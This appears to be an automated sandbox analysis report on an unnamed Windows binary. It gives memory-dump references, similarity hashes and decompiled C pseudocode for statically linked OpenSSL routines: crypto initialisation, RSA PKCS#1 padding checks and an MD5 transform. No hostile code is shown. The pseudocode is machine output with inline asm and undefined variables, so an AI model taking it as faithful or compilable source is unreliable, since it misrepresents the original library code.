                                                                0x00aca580
                                                                0x00aca4ff
                                                                0x00aca50f
                                                                0x00aca51b
                                                                0x00aca524
                                                                0x00aca525
                                                                0x00aca528
                                                                0x00aca52d
                                                                0x00aca537
                                                                0x00aca537
                                                                0x00aca4e0
                                                                0x00aca4e1
                                                                0x00aca4e2
                                                                0x00aca4e8
                                                                0x00aca4f7
                                                                0x00aca4f7
                                                                0x00aca4de
                                                                0x00aca4bd
                                                                0x00aca4a5
                                                                0x00aca478
                                                                0x00aca45c
                                                                0x00aca440
                                                                0x00aca423
                                                                0x00aca367
                                                                0x00aca34b
                                                                0x00aca32a
                                                                0x00aca314
                                                                0x00aca2fb
                                                                0x00aca284
                                                                0x00aca284
                                                                0x00aca286
                                                                0x00aca28a
                                                                0x00aca28c
                                                                0x00aca291
                                                                0x00aca296
                                                                0x00000000
                                                                0x00aca29c
                                                                0x00aca29c
                                                                0x00aca29e
                                                                0x00aca2a2
                                                                0x00aca2a4
                                                                0x00aca2a9
                                                                0x00aca2ae
                                                                0x00000000
                                                                0x00aca2b4
                                                                0x00aca2b6
                                                                0x00aca2b8
                                                                0x00aca2bc
                                                                0x00aca2c0
                                                                0x00aca2c7
                                                                0x00000000
                                                                0x00aca2cd
                                                                0x00aca2cd
                                                                0x00000000
                                                                0x00aca2cd
                                                                0x00aca2c7
                                                                0x00aca2ae
                                                                0x00aca296
                                                                0x00aca282
                                                                0x00aca55e
                                                                0x00aca563
                                                                0x00aca564
                                                                0x00aca569
                                                                0x00000000

                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID: ....................
                                                                • API String ID: 0-589559665
                                                                • Opcode ID: aa8e88c61d7da866aa0c4543d51bba38a8ac0ecab988c11e75eec8724d43affa
                                                                • Instruction ID: 5557ac6036eb9bc9989fe486324cbf6cbb743e656c8f29700d2d1f13f8435c34
                                                                • Opcode Fuzzy Hash: aa8e88c61d7da866aa0c4543d51bba38a8ac0ecab988c11e75eec8724d43affa
                                                                • Instruction Fuzzy Hash: 109105B56043898BD310DB719E91B3BB7E5AFA8744F06492DF8899B352DB31C805C7A3
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 86%
                                                                			E00AD4FA0(void* __edi, signed int _a4, intOrPtr* _a12) {
                                                                				signed int _t32;
                                                                				signed int _t82;
                                                                				signed int _t86;
                                                                				signed int _t88;
                                                                				signed int _t90;
                                                                				signed int _t92;
                                                                				signed int _t94;
                                                                				signed int _t96;
                                                                				intOrPtr _t98;
                                                                				intOrPtr* _t100;
                                                                				signed int _t101;
                                                                				signed int _t103;
                                                                				signed int _t105;
                                                                				signed int _t107;
                                                                				signed int _t109;
                                                                				signed int _t111;
                                                                				signed int _t113;
                                                                				signed int _t115;
                                                                				intOrPtr _t134;
                                                                				signed int _t140;
                                                                				void* _t145;
                                                                				void* _t146;
                                                                				void* _t148;
                                                                
                                                                				_t135 = __edi;
                                                                				if( *0xbe8f8c == 0) {
                                                                					_t32 = E00AC4700(0xbe8f98, 0xad4f50);
                                                                					_t146 = _t145 + 8;
                                                                					asm("sbb eax, eax");
                                                                					if(( *0xbe8fa0 &  ~_t32) == 0) {
                                                                						goto L3;
                                                                					} else {
                                                                						_t140 = _a4;
                                                                						if((_t140 & 0x00000001) == 0) {
                                                                							L7:
                                                                							if((_t140 & 0x00000002) == 0) {
                                                                								L9:
                                                                								if((_t140 & 0x00000010) == 0) {
                                                                									L11:
                                                                									if((_t140 & 0x00000004) == 0) {
                                                                										L13:
                                                                										if((_t140 & 0x00000020) == 0) {
                                                                											L15:
                                                                											if((_t140 & 0x00000008) == 0) {
                                                                												L17:
                                                                												if((_t140 & 0x00000080) == 0) {
                                                                													L19:
                                                                													if((_t140 & 0x00000040) == 0) {
                                                                														L24:
                                                                														if((_t140 & 0x00000100) == 0) {
                                                                															L26:
                                                                															if((_t140 & 0x00000800) == 0) {
                                                                																L28:
                                                                																if((_t140 & 0x00000200) == 0) {
                                                                																	L30:
                                                                																	if((_t140 & 0x00000400) == 0) {
                                                                																		L32:
                                                                																		if((_t140 & 0x00004000) == 0) {
                                                                																			L34:
                                                                																			if((_t140 & 0x00002000) == 0) {
                                                                																				L36:
                                                                																				if((_t140 & 0x0000fe00) != 0) {
                                                                																					E00AF19D0(_t135);
                                                                																				}
                                                                																				if((_t140 & 0x00010000) == 0) {
                                                                																					L41:
                                                                																					return 1;
                                                                																				} else {
                                                                																					_t82 = E00AC4700(0xbe900c, 0xad4f40);
                                                                																					asm("sbb eax, eax");
                                                                																					if(( *0xbe9014 &  ~_t82) != 0) {
                                                                																						goto L41;
                                                                																					} else {
                                                                																						goto L40;
                                                                																					}
                                                                																				}
                                                                																			} else {
                                                                																				_t86 = E00AC4700(0xbe9004, 0xad4f30);
                                                                																				_t146 = _t146 + 8;
                                                                																				asm("sbb eax, eax");
                                                                																				if(( *0xbe9008 &  ~_t86) == 0) {
                                                                																					goto L40;
                                                                																				} else {
                                                                																					goto L36;
                                                                																				}
                                                                																			}
                                                                																		} else {
                                                                																			_t88 = E00AC4700(0xbe8ffc, 0xad4f20);
                                                                																			_t146 = _t146 + 8;
                                                                																			asm("sbb eax, eax");
                                                                																			if(( *0xbe9000 &  ~_t88) == 0) {
                                                                																				goto L40;
                                                                																			} else {
                                                                																				goto L34;
                                                                																			}
                                                                																		}
                                                                																	} else {
                                                                																		_t90 = E00AC4700(0xbe8ff4, 0xad4f10);
                                                                																		_t146 = _t146 + 8;
                                                                																		asm("sbb eax, eax");
                                                                																		if(( *0xbe8ff8 &  ~_t90) == 0) {
                                                                																			goto L40;
                                                                																		} else {
                                                                																			goto L32;
                                                                																		}
                                                                																	}
                                                                																} else {
                                                                																	_t92 = E00AC4700(0xbe8fec, 0xad4f00);
                                                                																	_t146 = _t146 + 8;
                                                                																	asm("sbb eax, eax");
                                                                																	if(( *0xbe8ff0 &  ~_t92) == 0) {
                                                                																		goto L40;
                                                                																	} else {
                                                                																		goto L30;
                                                                																	}
                                                                																}
                                                                															} else {
                                                                																_t94 = E00AC4700(0xbe8fe4, 0xad4ef0);
                                                                																_t146 = _t146 + 8;
                                                                																asm("sbb eax, eax");
                                                                																if(( *0xbe8fe8 &  ~_t94) == 0) {
                                                                																	goto L40;
                                                                																} else {
                                                                																	goto L28;
                                                                																}
                                                                															}
                                                                														} else {
                                                                															_t96 = E00AC4700(0xbe8fd8, 0xad4ed0);
                                                                															_t146 = _t146 + 8;
                                                                															asm("sbb eax, eax");
                                                                															if(( *0xbe8fe0 &  ~_t96) == 0) {
                                                                																goto L40;
                                                                															} else {
                                                                																goto L26;
                                                                															}
                                                                														}
                                                                													} else {
                                                                														_t98 =  *0xbe8f94; // 0x975b50
                                                                														E00AC4690(_t98);
                                                                														_t100 = _a12;
                                                                														_t148 = _t146 + 4;
                                                                														if(_t100 != 0) {
                                                                															 *0xbe8f88 =  *_t100;
                                                                														} else {
                                                                															 *0xbe8f88 = _t100;
                                                                														}
                                                                														_t101 = E00AC4700(0xbe8fc8, 0xad4e90);
                                                                														_t134 =  *0xbe8f94; // 0x975b50
                                                                														asm("sbb edi, edi");
                                                                														E00AC46B0(_t134);
                                                                														_t146 = _t148 + 0xc;
                                                                														_t135 = _t135;
                                                                														if(( ~_t101 &  *0xbe8fd0) == 0) {
                                                                															goto L40;
                                                                														} else {
                                                                															goto L24;
                                                                														}
                                                                													}
                                                                												} else {
                                                                													_t103 = E00AC4700(0xbe8fc8, 0xad4eb0);
                                                                													_t146 = _t146 + 8;
                                                                													asm("sbb eax, eax");
                                                                													if(( *0xbe8fd4 &  ~_t103) == 0) {
                                                                														goto L40;
                                                                													} else {
                                                                														goto L19;
                                                                													}
                                                                												}
                                                                											} else {
                                                                												_t105 = E00AC4700(0xbe8fbc, 0xad4e70);
                                                                												_t146 = _t146 + 8;
                                                                												asm("sbb eax, eax");
                                                                												if(( *0xbe8fc0 &  ~_t105) == 0) {
                                                                													goto L40;
                                                                												} else {
                                                                													goto L17;
                                                                												}
                                                                											}
                                                                										} else {
                                                                											_t107 = E00AC4700(0xbe8fbc, 0xad4e80);
                                                                											_t146 = _t146 + 8;
                                                                											asm("sbb eax, eax");
                                                                											if(( *0xbe8fc4 &  ~_t107) == 0) {
                                                                												goto L40;
                                                                											} else {
                                                                												goto L15;
                                                                											}
                                                                										}
                                                                									} else {
                                                                										_t109 = E00AC4700(0xbe8fb4, 0xad4e60);
                                                                										_t146 = _t146 + 8;
                                                                										asm("sbb eax, eax");
                                                                										if(( *0xbe8fb8 &  ~_t109) == 0) {
                                                                											goto L40;
                                                                										} else {
                                                                											goto L13;
                                                                										}
                                                                									}
                                                                								} else {
                                                                									_t111 = E00AC4700(0xbe8fb4, 0xad4e80);
                                                                									_t146 = _t146 + 8;
                                                                									asm("sbb eax, eax");
                                                                									if(( *0xbe8fc4 &  ~_t111) == 0) {
                                                                										goto L40;
                                                                									} else {
                                                                										goto L11;
                                                                									}
                                                                								}
                                                                							} else {
                                                                								_t113 = E00AC4700(0xbe8fa4, 0xad4e40);
                                                                								_t146 = _t146 + 8;
                                                                								asm("sbb eax, eax");
                                                                								if(( *0xbe8fb0 &  ~_t113) == 0) {
                                                                									goto L40;
                                                                								} else {
                                                                									goto L9;
                                                                								}
                                                                							}
                                                                						} else {
                                                                							_t115 = E00AC4700(0xbe8fa4, 0xad4e30);
                                                                							_t146 = _t146 + 8;
                                                                							asm("sbb eax, eax");
                                                                							if(( *0xbe8fac &  ~_t115) == 0) {
                                                                								L40:
                                                                								return 0;
                                                                							} else {
                                                                								goto L7;
                                                                							}
                                                                						}
                                                                					}
                                                                				} else {
                                                                					if( *0xbe9018 == 0) {
                                                                						 *0xbe9018 = 1;
                                                                						E00AB8310(__edi, 0xf, 0x74, 0x46, "crypto\\init.c", 0x1d8);
                                                                					}
                                                                					L3:
                                                                					return 0;
                                                                				}
                                                                			}


























                                                                0x00ad4fa0
                                                                0x00ad4fa7
                                                                0x00ad4fe1
                                                                0x00ad4fe6
                                                                0x00ad4feb
                                                                0x00ad4ff3
                                                                0x00000000
                                                                0x00ad4ff5
                                                                0x00ad4ff6
                                                                0x00ad5003
                                                                0x00ad5027
                                                                0x00ad5030
                                                                0x00ad5054
                                                                0x00ad505d
                                                                0x00ad5081
                                                                0x00ad508a
                                                                0x00ad50ae
                                                                0x00ad50b7
                                                                0x00ad50db
                                                                0x00ad50e4
                                                                0x00ad5108
                                                                0x00ad5113
                                                                0x00ad5137
                                                                0x00ad5140
                                                                0x00ad519b
                                                                0x00ad51a6
                                                                0x00ad51ca
                                                                0x00ad51d5
                                                                0x00ad51f9
                                                                0x00ad5204
                                                                0x00ad5228
                                                                0x00ad5233
                                                                0x00ad5257
                                                                0x00ad5262
                                                                0x00ad5282
                                                                0x00ad528d
                                                                0x00ad52ad
                                                                0x00ad52b8
                                                                0x00ad52ba
                                                                0x00ad52ba
                                                                0x00ad52c9
                                                                0x00ad52ed
                                                                0x00ad52f3
                                                                0x00ad52cb
                                                                0x00ad52d5
                                                                0x00ad52df
                                                                0x00ad52e7
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad52e7
                                                                0x00ad528f
                                                                0x00ad5299
                                                                0x00ad529e
                                                                0x00ad52a3
                                                                0x00ad52ab
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad52ab
                                                                0x00ad5264
                                                                0x00ad526e
                                                                0x00ad5273
                                                                0x00ad5278
                                                                0x00ad5280
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad5280
                                                                0x00ad5235
                                                                0x00ad523f
                                                                0x00ad5244
                                                                0x00ad5249
                                                                0x00ad5251
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad5251
                                                                0x00ad5206
                                                                0x00ad5210
                                                                0x00ad5215
                                                                0x00ad521a
                                                                0x00ad5222
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad5222
                                                                0x00ad51d7
                                                                0x00ad51e1
                                                                0x00ad51e6
                                                                0x00ad51eb
                                                                0x00ad51f3
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad51f3
                                                                0x00ad51a8
                                                                0x00ad51b2
                                                                0x00ad51b7
                                                                0x00ad51bc
                                                                0x00ad51c4
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad51c4
                                                                0x00ad5142
                                                                0x00ad5142
                                                                0x00ad5148
                                                                0x00ad514d
                                                                0x00ad5151
                                                                0x00ad5156
                                                                0x00ad5161
                                                                0x00ad5158
                                                                0x00ad5158
                                                                0x00ad5158
                                                                0x00ad5172
                                                                0x00ad5177
                                                                0x00ad5181
                                                                0x00ad518a
                                                                0x00ad518f
                                                                0x00ad5194
                                                                0x00ad5195
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad5195
                                                                0x00ad5115
                                                                0x00ad511f
                                                                0x00ad5124
                                                                0x00ad5129
                                                                0x00ad5131
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad5131
                                                                0x00ad50e6
                                                                0x00ad50f0
                                                                0x00ad50f5
                                                                0x00ad50fa
                                                                0x00ad5102
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad5102
                                                                0x00ad50b9
                                                                0x00ad50c3
                                                                0x00ad50c8
                                                                0x00ad50cd
                                                                0x00ad50d5
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad50d5
                                                                0x00ad508c
                                                                0x00ad5096
                                                                0x00ad509b
                                                                0x00ad50a0
                                                                0x00ad50a8
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad50a8
                                                                0x00ad505f
                                                                0x00ad5069
                                                                0x00ad506e
                                                                0x00ad5073
                                                                0x00ad507b
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad507b
                                                                0x00ad5032
                                                                0x00ad503c
                                                                0x00ad5041
                                                                0x00ad5046
                                                                0x00ad504e
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad504e
                                                                0x00ad5005
                                                                0x00ad500f
                                                                0x00ad5014
                                                                0x00ad5019
                                                                0x00ad5021
                                                                0x00ad52e9
                                                                0x00ad52ec
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ad5021
                                                                0x00ad5003
                                                                0x00ad4fa9
                                                                0x00ad4fb0
                                                                0x00ad4fc2
                                                                0x00ad4fcc
                                                                0x00ad4fd1
                                                                0x00ad4fd4
                                                                0x00ad4fd6
                                                                0x00ad4fd6

                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: CriticalEnterSection
                                                                • String ID: crypto\init.c
                                                                • API String ID: 1904992153-2222486511
                                                                • Opcode ID: 1f71cf80b136d0d38f6d4cc2031f9462f61b11e7977296ad3d2b41d9939a0e9e
                                                                • Instruction ID: 10387420a4b840c2ff55092d2ade5201505efae98dd5d6d9f3b045ad5d2ecb61
                                                                • Opcode Fuzzy Hash: 1f71cf80b136d0d38f6d4cc2031f9462f61b11e7977296ad3d2b41d9939a0e9e
                                                                • Instruction Fuzzy Hash: 42713535FA2E8226CF54A3B5BD17BA631916B58B11F090D3BF44BD63D2FF60C8088194
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 94%
                                                                			E00AD9650(void* __esi, signed int _a4, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
                                                                				signed int _v0;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				signed int _t27;
                                                                				signed int _t39;
                                                                				intOrPtr _t51;
                                                                				signed int _t56;
                                                                				signed int _t68;
                                                                				signed int _t73;
                                                                				signed char* _t82;
                                                                				intOrPtr _t84;
                                                                				signed int _t86;
                                                                				signed int _t94;
                                                                				signed int _t95;
                                                                				signed int _t99;
                                                                				void* _t100;
                                                                				void* _t102;
                                                                				void* _t104;
                                                                
                                                                				_t27 = E00B8BB10(8);
                                                                				_t82 = 0;
                                                                				_t95 = _t94 | 0xffffffff;
                                                                				_a4 = 0;
                                                                				if(_a16 < 0) {
                                                                					L15:
                                                                					return _t27 | 0xffffffff;
                                                                				} else {
                                                                					_t51 = _a24;
                                                                					if(_t51 < 0) {
                                                                						goto L15;
                                                                					} else {
                                                                						_t84 = _a28;
                                                                						if(_t51 > _t84 || _t84 < 0xb) {
                                                                							L12:
                                                                							_push(0xf0);
                                                                							_push("crypto\\rsa\\rsa_pk1.c");
                                                                							E00AC3490(_t82);
                                                                							_t102 = _t100 + 0xc;
                                                                							if(_t95 == 0xffffffff) {
                                                                								E00AB8310(_t82, 4, 0x71, 0x9f, "crypto\\rsa\\rsa_pk1.c", 0xf3);
                                                                								_t102 = _t102 + 0x14;
                                                                							}
                                                                							return _t95;
                                                                						} else {
                                                                							_t82 = E00AC3430(_t51, _t84, "crypto\\rsa\\rsa_pk1.c", 0xb2);
                                                                							_t104 = _t100 + 0xc;
                                                                							if(_t82 != 0) {
                                                                								E00B8B7A0(_t51, _t82, _t84, _t82 - _t51 + _t84, _a20, _t51);
                                                                								_t56 =  ~((_t82[1] & 0x000000ff ^ 0x00000002) - 0x00000001 >> 0x0000001f &  !(_t82[1] & 0x000000ff ^ 0x00000002) >> 0x0000001f) &  ~(( *_t82 & 0x000000ff) - 0x00000001 >> 0x0000001f &  !( *_t82 & 0x000000ff) >> 0x0000001f);
                                                                								_t73 = 2;
                                                                								_t100 = _t104 + 0xc;
                                                                								_v0 = 0;
                                                                								if(_t84 > 2) {
                                                                									do {
                                                                										_t68 =  ~((_t82[_t73] & 0x000000ff) - 0x00000001 >> 0x0000001f &  !(_t82[_t73] & 0x000000ff) >> 0x0000001f);
                                                                										_v0 = _v0 | _t68;
                                                                										_t99 =  !( !_v0 & _t68) & _a4 |  !_v0 & _t68 & _t73;
                                                                										_t73 = _t73 + 1;
                                                                										_a4 = _t99;
                                                                									} while (_t73 < _t84);
                                                                								}
                                                                								_t39 = _a4;
                                                                								_t63 = _t39 + 1;
                                                                								_t86 = _t84 - _t39 + 1;
                                                                								_t95 = _t86;
                                                                								_t92 = (((_t39 - 0x0000000a | _t39) ^ _t39) >> 0x1f) - 1;
                                                                								if((_t56 & (((_a16 - _t95 ^ _t95 | _t86 ^ _a16) ^ _a16) >> 0x0000001f) - 0x00000001 & (((_t39 - 0x0000000a | _t39) ^ _t39) >> 0x0000001f) - 0x00000001) != 0) {
                                                                									E00B8B7A0(_t56, _t82, _t92, _a12, _t63 + _t82, _t95);
                                                                									_t100 = _t100 + 0xc;
                                                                								} else {
                                                                									_t95 = _t95 | 0xffffffff;
                                                                								}
                                                                								goto L12;
                                                                							} else {
                                                                								return E00AB8310(_t82, 4, 0x71, 0x41, "crypto\\rsa\\rsa_pk1.c", 0xb4) | _t95;
                                                                							}
                                                                						}
                                                                					}
                                                                				}
                                                                			}





















                                                                0x00ad9655
                                                                0x00ad965d
                                                                0x00ad965f
                                                                0x00ad9666
                                                                0x00ad966a
                                                                0x00ad97db
                                                                0x00ad97e2
                                                                0x00ad9670
                                                                0x00ad9670
                                                                0x00ad9676
                                                                0x00000000
                                                                0x00ad967c
                                                                0x00ad967d
                                                                0x00ad9683
                                                                0x00ad979c
                                                                0x00ad979c
                                                                0x00ad97a1
                                                                0x00ad97a7
                                                                0x00ad97ac
                                                                0x00ad97b2
                                                                0x00ad97c7
                                                                0x00ad97cc
                                                                0x00ad97cc
                                                                0x00ad97d8
                                                                0x00ad9692
                                                                0x00ad96a2
                                                                0x00ad96a4
                                                                0x00ad96a9
                                                                0x00ad96da
                                                                0x00ad9707
                                                                0x00ad9709
                                                                0x00ad970e
                                                                0x00ad9713
                                                                0x00ad971b
                                                                0x00ad9720
                                                                0x00ad9735
                                                                0x00ad9737
                                                                0x00ad9749
                                                                0x00ad974b
                                                                0x00ad974e
                                                                0x00ad974e
                                                                0x00ad9720
                                                                0x00ad9754
                                                                0x00ad975c
                                                                0x00ad975f
                                                                0x00ad9761
                                                                0x00ad977f
                                                                0x00ad9784
                                                                0x00ad9794
                                                                0x00ad9799
                                                                0x00ad9786
                                                                0x00ad9786
                                                                0x00ad9786
                                                                0x00000000
                                                                0x00ad96ab
                                                                0x00ad96cc
                                                                0x00ad96cc
                                                                0x00ad96a9
                                                                0x00ad9683
                                                                0x00ad9676

                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _memset
                                                                • String ID: crypto\rsa\rsa_pk1.c
                                                                • API String ID: 2102423945-3200250649
                                                                • Opcode ID: 72869649c4ababd05945553e0ac9f44ea95d3f97760d4ab2a2ac863c2fc70353
                                                                • Instruction ID: 977bac94cfb4aa5f42a82a53a0b0f61733de82ff79938422990bf2652f06cc22
                                                                • Opcode Fuzzy Hash: 72869649c4ababd05945553e0ac9f44ea95d3f97760d4ab2a2ac863c2fc70353
                                                                • Instruction Fuzzy Hash: 27417B32B543050BCA04DE68DC46B6BB3D0FBC0724F444769F959DB2C2DBB5D5099291
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 60%
                                                                			E00AEA800() {
                                                                				intOrPtr _t202;
                                                                				signed int _t205;
                                                                				signed int _t208;
                                                                				signed int _t211;
                                                                				signed int _t214;
                                                                				signed int _t217;
                                                                				signed int _t220;
                                                                				signed int _t223;
                                                                				signed int _t226;
                                                                				signed int _t229;
                                                                				signed int _t232;
                                                                				signed int _t235;
                                                                				signed int _t238;
                                                                				signed int _t241;
                                                                				signed int _t244;
                                                                				signed int _t247;
                                                                				signed int _t250;
                                                                				void* _t251;
                                                                				signed int _t252;
                                                                				signed int _t255;
                                                                				signed int _t258;
                                                                				signed int _t261;
                                                                				signed int _t264;
                                                                				signed int _t267;
                                                                				signed int _t270;
                                                                				signed int _t273;
                                                                				signed int _t276;
                                                                				signed int _t279;
                                                                				signed int _t282;
                                                                				signed int _t285;
                                                                				signed int _t288;
                                                                				signed int _t291;
                                                                				signed int _t294;
                                                                				signed int _t297;
                                                                				signed int _t305;
                                                                				signed int _t308;
                                                                				signed int _t311;
                                                                				signed int _t314;
                                                                				signed int _t317;
                                                                				signed int _t320;
                                                                				signed int _t323;
                                                                				signed int _t326;
                                                                				signed int _t329;
                                                                				signed int _t332;
                                                                				signed int _t335;
                                                                				signed int _t338;
                                                                				signed int _t341;
                                                                				signed int _t344;
                                                                				signed int _t347;
                                                                				signed int _t350;
                                                                				signed int _t353;
                                                                				signed int _t354;
                                                                				signed int _t357;
                                                                				signed int _t360;
                                                                				signed int _t363;
                                                                				signed int _t366;
                                                                				signed int _t369;
                                                                				signed int _t372;
                                                                				signed int _t375;
                                                                				signed int _t378;
                                                                				signed int _t381;
                                                                				signed int _t384;
                                                                				signed int _t387;
                                                                				signed int _t390;
                                                                				signed int _t393;
                                                                				signed int _t396;
                                                                				signed int _t399;
                                                                				signed int _t402;
                                                                				intOrPtr* _t403;
                                                                				intOrPtr* _t649;
                                                                				intOrPtr* _t714;
                                                                				intOrPtr* _t715;
                                                                
                                                                				_t403 =  *((intOrPtr*)(_t715 + 0xc));
                                                                				_t649 =  *((intOrPtr*)(_t715 + 0x10));
                                                                				_t202 =  *_t403;
                                                                				_push(( *(_t715 + 0x14) << 6) + _t649 - 0x40);
                                                                				_t252 =  *(_t403 + 4);
                                                                				_t305 =  *(_t403 + 8);
                                                                				_t354 =  *(_t403 + 0xc);
                                                                				do {
                                                                					_t9 = _t649 + 4; // 0xe3e85651
                                                                					asm("rol eax, 0x7");
                                                                					_t205 = _t202 +  *_t649 - 0x28955b88 + ((_t305 ^ _t354) & _t252 ^ _t354) + _t252;
                                                                					_t12 = _t649 + 8; // 0x8d0001c6
                                                                					asm("rol edx, 0xc");
                                                                					_t357 = _t354 +  *_t9 - 0x173848aa + ((_t252 ^ _t305) & _t205 ^ _t305) + _t205;
                                                                					_t15 = _t649 + 0xc; // 0x6a182454
                                                                					asm("rol ecx, 0x11");
                                                                					_t308 = _t305 +  *_t12 + 0x242070db + ((_t205 ^ _t252) & _t357 ^ _t252) + _t357;
                                                                					_t18 = _t649 + 0x10; // 0xc7e8525c
                                                                					asm("rol ebx, 0x16");
                                                                					_t255 = _t252 +  *_t15 - 0x3e423112 + ((_t357 ^ _t205) & _t308 ^ _t205) + _t308;
                                                                					_t21 = _t649 + 0x14; // 0x830000bf
                                                                					asm("rol eax, 0x7");
                                                                					_t208 = _t205 +  *_t18 - 0xa83f051 + ((_t308 ^ _t357) & _t255 ^ _t357) + _t255;
                                                                					_t24 = _t649 + 0x18; // 0xc68b1cc4
                                                                					asm("rol edx, 0xc");
                                                                					_t360 = _t357 +  *_t21 + 0x4787c62a + ((_t255 ^ _t308) & _t208 ^ _t308) + _t208;
                                                                					_t27 = _t649 + 0x1c; // 0x5cc4835e
                                                                					asm("rol ecx, 0x11");
                                                                					_t311 = _t308 +  *_t24 - 0x57cfb9ed + ((_t208 ^ _t255) & _t360 ^ _t255) + _t360;
                                                                					_t30 = _t649 + 0x20; // 0xccccccc3
                                                                					asm("rol ebx, 0x16");
                                                                					_t258 = _t255 +  *_t27 - 0x2b96aff + ((_t360 ^ _t208) & _t311 ^ _t208) + _t311;
                                                                					_t33 = _t649 + 0x24; // 0xcccccccc
                                                                					asm("rol eax, 0x7");
                                                                					_t211 = _t208 +  *_t30 + 0x698098d8 + ((_t311 ^ _t360) & _t258 ^ _t360) + _t258;
                                                                					_t36 = _t649 + 0x28; // 0xcccccccc
                                                                					asm("rol edx, 0xc");
                                                                					_t363 = _t360 +  *_t33 - 0x74bb0851 + ((_t258 ^ _t311) & _t211 ^ _t311) + _t211;
                                                                					_t39 = _t649 + 0x2c; // 0x448bcccc
                                                                					asm("rol ecx, 0x11");
                                                                					_t314 = _t311 +  *_t36 - 0xa44f + ((_t211 ^ _t258) & _t363 ^ _t258) + _t363;
                                                                					_t42 = _t649 + 0x30; // 0x8b0424
                                                                					asm("rol ebx, 0x16");
                                                                					_t261 = _t258 +  *_t39 - 0x76a32842 + ((_t363 ^ _t211) & _t314 ^ _t211) + _t314;
                                                                					_t45 = _t649 + 0x34; // 0xe9c1c88b
                                                                					asm("rol eax, 0x7");
                                                                					_t214 = _t211 +  *_t42 + 0x6b901122 + ((_t314 ^ _t363) & _t261 ^ _t363) + _t261;
                                                                					_t48 = _t649 + 0x38; // 0xc1c8330c
                                                                					asm("rol edx, 0xc");
